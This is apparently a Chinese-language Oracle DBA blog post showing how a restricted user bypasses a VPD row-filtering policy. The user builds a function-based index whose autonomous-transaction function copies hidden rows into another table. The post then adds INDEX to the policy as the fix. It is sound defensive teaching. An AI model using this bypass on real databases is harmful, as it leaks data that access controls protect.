當需要對部分使用者遮蔽掉表中的敏感記錄時，我們往往會使用VPD，比如下面這個例子中我們想遮蔽掉user_id<30的所有記錄

--connect as sysdba
create user vpd1 identified by "123456" default tablespace test1;
grant execute on dbms_rls to vpd1;
grant create any context to vpd1;
grant resource,create session to vpd1;

--connect as vpd1
create table t0828_1 as select * from all_users order by user_id;
set pagesize 100
select * from t0828_1;
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
SYS 0 18-JUN-16
SYSTEM 5 18-JUN-16
OUTLN 9 18-JUN-16
DIP 14 18-JUN-16
ORACLE_OCM 21 18-JUN-16
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

13 rows selected.

於是我們部署VPD:

###建立policy function
--connect as vpd1
create or replace function t0828_pf1(input_schema varchar2,input_objname varchar2) return varchar2 as
v_predicate varchar2(100);
begin
v_predicate:='user_id >= 30';
return v_predicate;
end;
/

###建立policy
--connect as vpd1
exec dbms_rls.add_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1',function_schema=>'vpd1',policy_function=>'t0828_pf1',update_check=>TRUE,statement_types=>'SELECT,INSERT,UPDATE,DELETE');

###測試VPD策略生效
--connect vpd1
select * from vpd1.t0828_1;
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

到這裡似乎已經結束了，但vpd1使用者為了能看到user_id < 30的記錄，他可以這樣做

create table t0828_1_copy as select * from all_users where 1=2;

create or replace function fun_uname (uname in varchar2)
return varchar2 deterministic is pragma autonomous_transaction;
begin
insert into t0828_1_copy(username,user_id,created) values(uname,1,sysdate);
commit;
return (uname);
end fun_uname;
/

create index ind_uname on t0828_1(fun_uname(username)); <---在建立函式索引ind_uname的時候將記錄插入到了t0828_1_copy表

select * from t0828_1 where (fun_uname(username)) > 'A'; <---查詢結果證明VPD已生效
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
ANONYMOUS 35 18-JUN-16
APPQOSSYS 31 18-JUN-16
DBSNMP 30 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

select * from t0828_1_copy;

USERNAME USER_ID CREATED
------------------------------ ---------- ---------
SYS 1 28-AUG-16 <---得益於函式索引的建立，使用者名稱一覽無餘
DBSNMP 1 28-AUG-16
SYS 1 28-AUG-16
SYSTEM 1 28-AUG-16
OUTLN 1 28-AUG-16
DIP 1 28-AUG-16
ORACLE_OCM 1 28-AUG-16
DBSNMP 1 28-AUG-16
APPQOSSYS 1 28-AUG-16
WMSYS 1 28-AUG-16
XDB 1 28-AUG-16
ANONYMOUS 1 28-AUG-16
SCOTT 1 28-AUG-16
VPD1 1 28-AUG-16
XS$NULL 1 28-AUG-16

所以更安全的做法是在VPD policy裡除了SELECT,INSERT,UPDATE,DELETE外還要加上INDEX

###重新建立VPD policy，加上INDEX
exec dbms_rls.drop_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1');
exec dbms_rls.add_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1',function_schema=>'vpd1',policy_function=>'t0828_pf1',update_check=>TRUE,statement_types=>'SELECT,INSERT,UPDATE,DELETE,INDEX');

這次建立索引失敗：
drop index ind_uname;

truncate table t0828_1_copy;

create index ind_uname on t0828_1(fun_uname(username));
*
ERROR at line 1:
ORA-28133: full table access is restricted by fine-grained security

select * from t0828_1 where (fun_uname(username)) > 'A';
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

select * from t0828_1_copy;

no rows selected

函式索引可能使VPD形同虛設的一則警示

相關文章